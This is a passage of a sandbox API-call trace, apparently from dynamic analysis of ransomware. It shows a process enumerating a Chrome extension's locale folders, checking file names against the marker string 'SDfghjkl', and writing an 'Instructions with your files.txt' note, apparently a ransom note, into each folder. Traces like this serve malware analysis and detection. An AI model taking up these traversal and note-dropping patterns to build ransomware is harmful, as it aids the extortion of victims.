[0130.128] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.128] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.128] CloseHandle (hObject=0x134) returned 1
[0130.128] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.128] GetProcessHeap () returned 0x810000
[0130.128] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.128] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="se", cAlternateFileName="")) returned 1
[0130.128] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se") returned 141
[0130.129] GetProcessHeap () returned 0x810000
[0130.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.129] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*") returned 143
[0130.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.129] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\.") returned 143
[0130.129] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.129] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\..") returned 144
[0130.129] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.129] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 155
[0130.129] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.129] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.129] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\Instructions with your files.txt") returned 174
[0130.129] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.130] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.131] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.131] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.131] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.131] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.131] CloseHandle (hObject=0x134) returned 1
[0130.131] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.131] GetProcessHeap () returned 0x810000
[0130.131] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.131] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
[0130.131] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk") returned 141
[0130.131] GetProcessHeap () returned 0x810000
[0130.131] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.131] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*") returned 143
[0130.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.132] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\.") returned 143
[0130.132] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.132] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\..") returned 144
[0130.132] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.132] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 155
[0130.132] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.132] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.132] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\Instructions with your files.txt") returned 174
[0130.132] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.132] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.133] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.133] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.133] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.133] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.133] CloseHandle (hObject=0x134) returned 1
[0130.133] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.133] GetProcessHeap () returned 0x810000
[0130.134] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.134] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
[0130.134] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl") returned 141
[0130.134] GetProcessHeap () returned 0x810000
[0130.134] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.134] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*") returned 143
[0130.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.134] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\.") returned 143
[0130.134] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.134] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\..") returned 144
[0130.134] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.134] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned 155
[0130.134] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.134] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.134] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\Instructions with your files.txt") returned 174
[0130.134] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.135] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.135] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.136] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.136] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.136] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.136] CloseHandle (hObject=0x134) returned 1
[0130.136] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.136] GetProcessHeap () returned 0x810000
[0130.136] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.136] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
[0130.136] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr") returned 141
[0130.136] GetProcessHeap () returned 0x810000
[0130.136] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.136] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*") returned 143
[0130.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.136] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\.") returned 143
[0130.136] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.136] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\..") returned 144
